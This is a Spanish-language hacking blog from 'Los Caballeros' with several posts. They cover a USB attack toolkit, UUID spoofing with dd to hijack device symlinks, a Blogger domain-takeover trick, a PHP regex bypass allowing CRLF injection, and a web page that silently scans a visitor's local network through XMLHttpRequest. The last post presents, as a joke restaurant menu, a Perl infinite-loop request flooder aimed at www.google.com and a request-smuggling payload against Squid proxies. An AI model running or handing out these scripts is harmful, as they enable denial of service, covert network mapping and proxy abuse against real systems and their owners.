Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

Conferencia UAT - USB Attack Toolkit - GuadalajaraCON

Twitter icon Twitter icon
La conferencia UAT (USB Attack Toolkit) en GuadalajaraCON por @Xianur0:

UAT - Report

Twitter icon Twitter icon
Me di cuenta de que en ningún lugar expliqué como utilizar la herramienta Report que integro en el kit UAT, por lo que escribo este post para explicar un poco ;)..

Para cargar un log es tan simple como arrastrarlo al campo correspondiente:



Podemos utilizar los filtros que nos genera de forma automática... también podemos trabajar con varios dispositivos al mismo tiempo :P


Tenemos algunas teclas (click en el campo y luego la tecla) que nos permitirán hacer las cosas más fácilmente. Por ejemplo la tecla "i", nos hace un analisis completo del contenido del campo... lo cual es muy útil para entender que es lo que hace una trama :P

Tenemos también las teclas "x" y "c" que nos permiten cambiar la forma en que se muestra el contenido de los campos, por ejemplo:


Tenemos herramientas raras pero útiles, como un editor hexadecimal hecho completamente en html5 y JS :D (tecla "e"):



Hay también herramientas (los iconos que aparecen arriba de los campos de texto) para analizar las tramas:

Clon hijo (trama repetida):

Clon Padre (Primera aparición de esta trama):

Borrar similares:

Borrar clones:

Listar similares y clones:
Sin clones o similares: 


De momento son algunas de las cosas que nos permite hacer esta herramienta... pero agregaremos más cosas pronto :)


Saludos!

Cómo puedo colaborar con el proyecto UAT?

Twitter icon Twitter icon
Web del proyecto: http://loscaballeros.mx/UAT/

Cómo puedo colaborar con el proyecto UAT?

Es bastante simple, tenemos 3 modalidades para poder participar en el proyecto:

1. Escribiendo documentación.
A los desarrolladores nunca nos ha gustado escribir documentación, pero es una parte muy importante, por lo que necesitamos ayuda en esa parte (escribiendo papers y documentando las diferentes tools).

2. Enviando logs.
¿Por qué es importante tener un repositorio de logs (archivos uat)? Spoofear o analizar dispositivos sin tenerlo físicamente :D... es decir pueden colaborar capturando la comunicación de cualquier dispositivo usb que tengan a la mano, ¿Cómo se hace esto?

Necesitamos una computadora linux, tools.py (core) y usb-analyzer.py

El procedimiento es realmente simple:

Levantamos USBMon (USB-Analyzer captura el trafico de usbmon utilizando pypcap).

linux-7nli:/home/xianur0/arduinohack/UAT # modprobe usbmon
WARNING: All config files need .conf: /etc/modprobe.d/uisp_parport, it will be ignored in a future release.

Buscamos los valores del dispositivo a analizar:
linux-7nli:/home/xianur0/arduinohack/UAT # lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 0c45:62c0 Microdia Sonix USB 2.0 Camera
Bus 005 Device 002: ID 0930:0200 Toshiba Corp.
Bus 005 Device 003: ID 08ff:1600 AuthenTec, Inc. AES1600

En mi caso capturaré el "AuthenTec, Inc. AES1600", en esta parte es recomendable descargar el driver de kernel en caso de que lo tengamos.

Ahora vemos la ayuda (esta parte obviamente es opcional xD).

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-analyzer.py
Use: usb-analyzer.py [args]
--sk=[1|0] (Skip duplicate entries. Default: 0)
--skerror=[1|0] (Skip -ENOENT, Broken Pipe and response==null. Default: 0)
--bus=[bus number]
--vendor=[vendor id]
--device=[device id]
--file=[out-file]
--stop=[max resps. (numeric)]
--debug=[0-9]


Iniciamos con los argumentos y dejamos a la espera de que el dispositivo se identifique (necesitamos desconectar el dispositivo antes o no tener cargado el driver).

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-analyzer.py --vendor=08ff --device=1600 --file=AuthenTec
[-] Checking USBMon...
1
2
3
4
5
6
0
[-] 7 buses

Waiting. Bus 0...

Ahora en este paso es conectar el dispositivo, cargar el driver o pasar el dispositivo a una maquina virtual (y capturar la comunicación de la virtual con el dispositivo ;)... esto es realmente útil en algunos casos :D)
Para terminar únicamente necesitamos presionar CTRL + C y luego: esperar que el dispositivo envíe un ultimo dato o desconectar el dispositivo. Con esto tenemos generado el archivo .uat :D... luego pueden enviármelo a mi correo y yo lo subo al sitio (agregando los respectivos créditos).

3. Desarrollando.
Es un poco complicado para un solo desarrollador mantener un proyecto tan grande como lo es UAT, por lo cual se necesita armar un equipo para mantener el desarrollo constante del proyecto :D.

Cualquier duda o comentario: xianur0.null[at]gmail.com (funciona como correo, gtalk y messenger xD).


Saludos!


Blogger Fail

Twitter icon Twitter icon
Este creo que es el "bug" más tonto que he visto en mi vida xD... en fin... se ve más o menos así:


Cuando configuramos nuestro bloggler con un dominio se tiene que crear un registro DNS:

;; ANSWER SECTION:
web.com. 10800 IN CNAME ghs.google.com.
ghs.google.com. 81359 IN CNAME ghs.l.google.com.
ghs.l.google.com. 280 IN A 74.125.128.121

Es decir configuramos un nombre canónico (CNAME) lo cual en términos más simples es como un apodo, una persona (un servidor) puede tener muchos apodos (puede manejar muchos dominios) aun teniendo un nombre, en este caso web.com lo estamos dando como un apodo a ghs.google.com (el cual sería el "nombre real" del servidor) lo cual quiere decir que cuando intente resolver web.com va a resolver ghs.google.com.

Ahora el detalle del "bug" (si le quieren llamar así, yo creo que es más un #EPICFAIL) es que blogger te pregunta si redirecciona la raíz del subdominio que configuramos (el cual puede existir o no :P)... al redireccionar la raíz el CNAME está intacto y la IP es la misma... pero blogger va a intentar cargar (por ejemplo en mi caso) xianur0.web.com en lugar del blog real (que no debería de existir, por lo que queda bloqueado el acceso al blog)... ahora algo interesante respecto a configuraciones DNS:
Existe algo llamado Wildcard DNS record, lo cual es poner un asterisco como subdominio, tipo: *.web.com, esto es todos los subdominios de web.com van a apuntar a un mismo registro DNS... por ejemplo si tenemos un wildcard con todos los subs apuntando al mismo lugar... podríamos "generar" subdominios falsos... de este modo con configurar nuestro blog con: xianur0.web.com y redireccionar la raíz blogger cargaría nuestro blog en lugar del real :P

¿Cómo detectar que una web es "vulnerable"?

Una forma realmente simple y tonta es:

xianur0@linux-7nli:~> dig CNAME web.com | grep ghs.google.com && echo Vulnerable!
web.com. 10800 IN CNAME ghs.google.com.
Vulnerable!
xianur0@linux-7nli:~> dig ANY web.com | grep "\*\." && echo "Muy Vulnerable"

;)...

PD: Este "bug" tiene como 3 años que se reporto... y aun anda ahí xD

Ahora pueden reír :D

UUID Hacking

Twitter icon Twitter icon
Está es una técnica un poco "extraña" de "hacking", la idea de este ataque se basa en atacar el funcionamiento de la pila USB para suplantar un dispositivo por medio de un UUID Reemplazado.

"Un Identificador universalmente único (universally unique identifier o UUID) es un identificador estándar usado en el desarrollo de software"

"Un UUID es un número de 16-byte (128-bit). El número teórico de posibles UUID es entonces de unos 3 × 1038. En su forma canónica, un UUID consiste de 32 dígitos hexadecimales, mostrados en cinco grupos separados por guiones, de la forma 8-4-4-4-12 para un total de 36 caracteres (32 dígitos y 4 guiones). Por ejemplo:
550e8400-e29b-41d4-a716-446655440000"

Gracias amada wikipedia, no lo podría haber dicho mejor ;)

¿Cómo funciona el montado de devices en linux con UUID?

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 11:07 .
drwxr-xr-x 5 root root 100 abr 1 11:01 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 11:07 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2

Al hacer un ls a la lista de discos por uuid, notaremos que hacen un enlace simbólico al dispositivo, agregamos una memoria usb cualquiera:

lrwxrwxrwx 1 root root 10 abr 1 13:54 B4FE-5315 -> ../../sdb4

Notaremos que el uuid tiene un formato diferente (esta memoria fue formateada en FAT)

Formateamos desde linux en swap (en mi caso) y notaremos que el uuid cambia... entonces esto nos puede hacer pensar que el uuid se escribe directamente en los encabezados de la memoria usb y que no es algo fijo.

linux-7nli:/home/xianur0 # blkid | grep sdb
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="4850bce1-67ae-4c6c-97cf-54c2c5b9cb12" TYPE="swap"

dd:

linux-7nli:/home/xianur0 # dd if=/dev/sdb4 of=/home/xianur0/sdb4 ibs=2040 count=1
1+0 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00251428 s, 811 kB/s

Hex editor:


PD: El UUID está grabado dentro de los primeros 2040 bytes (normalmente).

Subimos los cambios (en esos 2040 bytes) al dispositivo (sobrescribimos):

linux-7nli:/home/xianur0 # dd if=sdb4-edited of=/dev/sdb4 conv=notrunc
3+1 registros leídos
3+1 registros escritos
2040 bytes (2,0 kB) copiados, 0,00582027 s, 350 kB/s
linux-7nli:/home/xianur0 # blkid
/dev/sda2: UUID="8c787ac4-88c4-4b85-9c07-7d88449c37e1" TYPE="reiserfs"
/dev/sda3: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="crypto_LUKS"
/dev/mapper/cr_sda3: UUID="471f4811-2b4d-421f-8883-2bd5f60b7877" TYPE="reiserfs"
/dev/sdb1: LABEL="openSUSE-DV" UUID="B4FE-5315" TYPE="vfat"
/dev/sdb4: UUID="58ac1371-1dd9-4996-9be4-366f4758551c" TYPE="swap"

Ahora la parte bonita:

linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 100 abr 1 14:51 .
drwxr-xr-x 5 root root 100 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sda3
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
linux-7nli:/home/xianur0 # ls -alh /dev/disk/by-uuid/
total 0
drwxr-xr-x 2 root root 120 abr 1 14:51 .
drwxr-xr-x 6 root root 120 abr 1 14:51 ..
lrwxrwxrwx 1 root root 10 abr 1 11:07 471f4811-2b4d-421f-8883-2bd5f60b7877 -> ../../dm-1
lrwxrwxrwx 1 root root 10 abr 1 14:51 58ac1371-1dd9-4996-9be4-366f4758551c -> ../../sdb4
lrwxrwxrwx 1 root root 10 abr 1 11:02 8c787ac4-88c4-4b85-9c07-7d88449c37e1 -> ../../sda2
lrwxrwxrwx 1 root root 10 abr 1 14:51 B4FE-5315 -> ../../sdb1

Lo que pasó es que se remplazo el enlace simbólico original por el de la usb :P

También podemos hacer este procedimiento con UAT en un solo paso:

linux-7nli:/home/xianur0/arduinohack/UAT # python usb-change.py --device=/dev/sdb4 --search=4850bce167ae4c6c97cf54c2c5b9cb12 --replace=58ac13711dd949969be4366f4758551c

Found in: 1037
Ok

Y tenemos los datos cambiados :P

Happy Hacks

Blind HTTP Attack (Firefox XMLHttpRequest SOP Hack)

Twitter icon Twitter icon
Algún tiempo atrás me comencé a preguntar sobre la implementación de XMLHTTPRequest en los diferentes browsers... llegué a algunas conclusiones un poco interesantes y se me ocurrió un "ataque" que se puede utilizar fácilmente para explotar muchas posibilidades. Vamos a ver un poco de esto:

Herramientas de trabajo:
  • Firebug.
  • Un editor de texto cualquiera.
  • Wireshark
  • Terminal xD

Es un poco curioso que el Firefox de OpenSUSE y el oficial no funcionen de la misma forma, por lo que lo dividiremos en 2:

Firefox (10.0.2 OpenSUSE):

<script>
function head(ip){
var xmlhttp = new XMLHttpRequest();
try {
xmlhttp.open("HEAD", "http://"+ip+":80/", false);
xmlhttp.send("");
} catch(err){alert(ip+": "+err);}
}
</script>
<body onload="head('192.168.0.254');head('192.168.0.1');"></body>


Mi modem es 192.168.0.1 y no existe 192.168.0.254 en mi red.

Obtenemos 2 errores:

192.168.0.254: [Exception... "Component returned failure code: 0x805e0006 [nsIXMLHttpRequest.open]" nsresult: "0x805e0006 ()" location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 5" data: no]

Y:

192.168.0.1: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE)" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 6" data: no]


Cómo podrán darse cuenta son dos errores claramente diferentes (uno en nsIXMLHttpRequest.open y otro en nsIXMLHttpRequest.send) apuntando cada uno a una IP diferente... ¿Qué diferencia hay?

Apuntaremos a otro puerto y el resultado es exactamente el mismo.

Tomamos los valores retornados: 0x805e0006 y 0x80004005 y modificamos un poco el script:

<script>
function head(ip){
var xmlhttp = new XMLHttpRequest();
try {
xmlhttp.open("HEAD", "http://"+ip+":80/", false);
xmlhttp.send("");
} catch(er){if(er.result == 0x80004005) alert(ip+" existe");}
}
</script>
<body onload="head('74.125.128.103');head('74.125.128.101');head('74.125.128.102');head('74.125.128.103');head('74.125.128.138');head('74.125.128.139');head('192.168.0.100');head('192.168.0.1');head('192.168.0.100');head('192.168.0.106');head('192.168.0.105');"></body>




nsIXMLHttpRequest.open en algunos casos (como se puede ver en firebug) intenta realizar la conexión a la IP sin importar el SOP, esto obviamente no debería de ser algo bueno :)... pero aun hay algo...



En otras palabras no realiza las conexiones aunque la IP exista... por qué? me pregunto...

En efecto, solo hace consultas a lo que está en mi tabla arp....

Agregaré 192.168.0.103 (que no existe ni está en mi tabla ARP)... y realmente no realiza la conexión (ni da señales de intentarlo)...

Existe un tercer argumento en el metodo open del objeto XMLHttpRequest... el cual podemos definir como:

Variant that specifies true for asynchronous operation (the call returns immediately), or false for synchronous operation. If true, assign a callback handler to the onreadystatechange property to determine when the call has completed. If not specified, the default is true.

Comprobemos pero con otra versión de "exploit":


Vaya, que lindo :P...


<html>
<head><title>Analizando tu red - By Xianur0</title><style>
tr:hover {background-color: #333333}
a:hover {color: #FFFFFF; }
a:link { color:#CCCCCC; }
a:visited { color:#CCCCCC; }
a:active { color:#FFFFFF; }
tr {background-color: #222222}
font-family: arial, sans-serif;
background-repeat: repeat-x;
background-attachment: fixed;}
border-width: 1px 1px 1px 1px;
border-style: solid;}
</style>
<script>
var xmlhttp = new Array();
var id = 0;
var stop=0;
var targets=new Array("192.168.0.105","74.125.128.102","74.125.128.103","74.125.128.113","1.1.1.1","192.168.1.254","173.194.76.113","192.168.1.1","192.168.0.1","192.168.0.20","192.168.0.103","192.168.0.254","10.0.0.1","172.16.0.1");

function mostrar(texto) {
document.getElementById('result').innerHTML += texto+"\n<br /\>";
}
function alertar(val,id){
setTimeout(function() {try{stop=1;xmlhttp[id].abort();}catch(e){};},5000);
}
function scann(target,puerto) {
xmlhttp[id] = new XMLHttpRequest();
alertar(target+":"+puerto,id);
try {
xmlhttp[id].open("HEAD", "http://"+target+":"+puerto+"/", true);
xmlhttp[id].onreadystatechange = function () {
state = '';
try{
state = xmlhttp[id].readyState;
} catch(e){}
if(state != 1 && stop == 0)
mostrar("<font color='red'>"+target+":"+puerto+"-"+(state),"</font>\n<br /\>");
};
xmlhttp[id].send("");
} catch(e) {
// alert(e);
}
id+=1;
}
</script>
</head>
<body onload="for(var i in targets) {scann(targets[i],80);};" alink="#FFFFFF" bgcolor="#000000" link="#CCCCCC" text="#FFFFFF" vlink="#CCCCCC">
<table id="main" align="center" bordercolor="#FFFFFF" cellpadding="15">
<tbody><tr>
<td id="head" width="600">
<center><br><br>
<b>Mapeando tu red:</b><br />
<div id="result">
</div>
</tbody></table><br><br>
</body>
</html>


Muy interesante hasta ahora... pero y el firefox oficial? (el que te bajas de la web tal y como es).... vamos a comprobar ;)...


Eso es el primer "exploit"... vamos a ver con el segundo...


(Nota, todo esto lo intenté desde esquema file:// y http:// entonces no es pretexto :P)

En fin... hay muchas cosas curiosas en XMLHttpRequest... ahora tengo una duda y pediré la ayuda de los usuarios... en otras distros el funcionamiento no es exactamente lo mismo, también afecta aparentemente el como está estructurada la red, por lo tanto este "ataque" es muy variado... y tal vez aun muy inexacto... por eso requiero testers.

Interesados, contactarme :P

xianur0.null [at] gmail.com

¿Qué más podemos hacer con esto?


Al poder enviar consultas "ciegas" aunque no podamos leer la respuesta podemos realizar algo en una página (sea cual sea) por lo que podemos realizar cualquier ataque... a ciegas :)...

Por eso: Blind HTTP Attack

Luego publicaré más de esos ataques a ciegas ;)...

Wallpapers UAT (USB Attack Toolkit)

Twitter icon Twitter icon
Les comparto los wallpapers de UAT diseñados por: Maria Del Castillo personalmente me gustaron mucho :D



PHP: Que no hacer con los regex

Twitter icon Twitter icon
El cómo maneja PHP los regex tiene sus detalles... por ejemplo, no es lo mismo:

if(preg_match("/^[\w\d]+$/",$_GET['xian'])){
[...]
}

Que:

if(!preg_match("/[^\w\d]/",$_GET['xian'])){
[...]
}

Por ejemplo:

GET /echo.php?xian=00a%0a

El primero hace match... pero el segundo no... ¿Por qué? el LF se toma cómo el fin de la linea ($) por el contrario en el segundo regex no se especifica ese carácter por lo que se abarca todo :D...

Por otro lado...
if(!preg_match("/[^\d\w\s]/",$_GET['xian'])){
[...]
}

y
if(preg_match("/^[\d\w\s]+$/",$_GET['xian'])){
[...]
}


Inyectando: /echo.php?xian=00a%0a0a%0axianur0%20was%20here

Ambos hacen match (tomen en cuenta que \s no es solo espacios ;) )...

Con esto podemos inyectar CRLF's entre otras cosas...

y hay mil y un bypass a esto ;)

Saludos!

Los caballeros en FreeSecurity

Twitter icon Twitter icon
De momento estamos confirmados dos de los miembros para dar conferencia en el evento de seguridad informática: Freesecurity.

http://freesecurity.mx/yacomas/aceptadas/

Los temas de conferencia serán:

USB Hacking
La seguridad física cómo un factor critico desde el ambiente domestico al empresarial. Se trataran temas de ingeniería inversa a dispositivos USB, fuzzing, 0days y muchos más...
Y el estreno de una nueva herramienta de pentesting: UAT (USB Attack Toolkit)

Seguridad en Sistemas Azules

Bluetooth es uno de esos protocolos que no se toman en cuenta cuando se realiza un pentesting, dentro de una empresa un dispositivo vulnerable puede ser fácilmente utilizado por un atacante para tomar control de información vital. Se mostraran técnicas utilizadas por atacantes así cómo métodos para mantenernos seguros de este tipo de ataques.

Ambas conferencias se mostraran desde el punto de vista de un atacante y del usuario.

Saludos!

Squid Proxy... yo no lo utilizaría

Twitter icon Twitter icon


Bienvenido al Restaurante de "Los Caballeros", el día de hoy tenemos un especial de calamar, esperamos que todos nuestros platillos sean de su agrado.

De entrada tenemos un platillo un poco pesado: Calamares bien rellenos a la "Los Caballeros" (platillo para DoS personas).

Este platillo es muy similar a FHTTP sobre una cama de Apache o IIS, es un poco fuerte al gusto, la diferencia es que en este caso tiene calamar y esta aderezado con un poco de Perl.
use IO::Socket::INET;
my $host = "www.google.com";
my $requests = 10;
my $payload = ("GET http://".$host."/ HTTP/1.1\nConnection: keep-alive\n\n")x($requests);
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => 'http(80)',Proto => 'tcp');
die("Se quemo!") unless($sock);
print $sock $payload;
close($sock);
}


De platillo fuerte tenemos: Calamar del Infierno.
Tal y como su nombre lo indica es un calamar muy raro, bastante difícil de atrapar (seguramente a los pescadores les dio en verdadero dolor de cabeza), debido a que ha desarrollado grandes capacidades para ocultarse de diferentes formas en su habitad natural. Pero solo por hoy lo traemos para que usted lo deguste.

use IO::Socket;
use threads;
use threads::shared;
$squid = "localhost";
$squidport = "3128";
$path = "/index.php";
$host = "localhost";
$host =~ s/([^\t])/$1\t/g;
$pay = "\tGET\thttp://".$host.$path."?basura=\tHTTP/\rGET /echo.php\r\nGET nanananananananananananananananabatmanbatman HTTP/\rHost: squid-house\nCatch: me\rif\ryu\rcan\nConnection: keep-alive\n\n";
print "Sending...\n";
my $sock = new IO::Socket::INET(
PeerAddr => $squid,
PeerPort => $squidport,
Proto => 'tcp',
);
die "Se quemo! $!\n" unless $sock;
print $sock $pay;
while(<$sock>) {
print $_;
}
close($sock);

De postre se le apetece un helado?

Gracias por su visita y vuelta pronto :)